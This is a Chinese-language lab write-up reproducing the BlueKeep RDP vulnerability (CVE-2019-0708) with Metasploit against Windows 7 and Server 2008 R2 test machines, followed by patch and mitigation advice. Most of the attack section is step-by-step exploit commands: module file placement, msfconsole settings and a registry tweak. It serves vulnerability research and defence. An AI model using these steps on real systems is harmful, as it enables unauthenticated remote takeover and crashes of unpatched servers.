CVE-2019-0708
0x00 前言:
CVE-2019-0708漏洞已經出來三四個月了對應的poc也出現了很久 ,exp 還是沒動靜前段時間出了個藍屏偽exp 不過肯定那些大廠手里早已經了有了真正的exp 今天突然Github上有人上傳了exp 在這里得到消息后就緊跟着復現了一下 注意!!!藍屏概率很大 請不要用在隨意測試
漏洞概要
漏洞名稱 Microsoft Windows Remote Desktop Services遠程代碼執行漏洞
威脅類型 遠程代碼執行 威脅等級 嚴重 漏洞ID CVE-2019-0708
利用場景 未經身份驗證的攻擊者可以通過發送特殊構造的數據包觸發漏洞,可能導致遠程無需用戶驗證控制系統。
受影響系統及應用版本
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
0x01 准備工具:
https://github.com/rapid7/metasploit-framework/
0x02 環境准備
Kali 10.1.1.2 (攻擊)
Win7 sp1/x64 10.1.1.3 (被攻擊)
Win2008R2/x64 10.1.1.4 (被攻擊)
0x03 復現開始:
使用如下命令一鍵安裝metasploit-framework
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
下載Reference中的攻擊套件放置文件到msf的相應文件夾(如果已存在同名文件,直接覆蓋即可)
1.cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/
2.rdp.rb 替換 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
3.rdp_scanner.rb 替換 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
4.cve_2019_0708_bluekeep.rb 替換 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
0x04 運行0708exp腳本是否成功
service postgresql start ##啟動msf數據庫
msfconsole
reload_all
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ##啟動0708exp腳本 出現則證明成功導入rb文件
0x05 漏洞檢驗
漏洞檢驗poc 在19年5月份 官方就同步了0708的poc檢測腳本
Msfconsole
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhost 10.1.1.3
show options
exploit
0x06 攻擊利用
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ##進入模塊
set rhost 10.1.1.3 ##設置目標
set target 2 ##設置級別 ps一開始設置target 3 vm那個,藍屏了,后面看到群里大佬說設置2就沒有問題了
exploit ##啟動攻擊
windows 2008 同樣的利用方法
1. 首先修改 注冊表某值為0
測試成功版本Windows 2008r2withsp1 english standard,vmare版本:15.1.0 build-13591040。
2008r2 withsp1 english standard需要修改注冊表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam]值修改為0
2. 攻擊同上 方式一樣 不過概率很大為藍屏
3. 試了有不下30次 每次藍屏 終於成功一次
0x07 修復方案
1. 目前軟件廠商微軟已經發布了漏洞相應的補丁:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019- 0708#ID0EWIAC
Windows XP 及Windows 2003可以在以下鏈接下載補丁:https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708
2. 臨時解決方案
如暫時無法更新補丁,可以通過在系統上啟用網絡及身份認證(NLA)以暫時規避該漏洞影響。
在企業外圍防火牆阻斷TCP端口3389的連接,或對相關服務器做訪問來源過濾,只允許可信IP連接。
如無明確的需求,可禁用遠程桌面服務。
0x08參考資料
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/
https://www.qianxin.com/other/CVE-2019-0708
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
https://github.com/busterb/metasploit-framework/blob/bluekeep/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb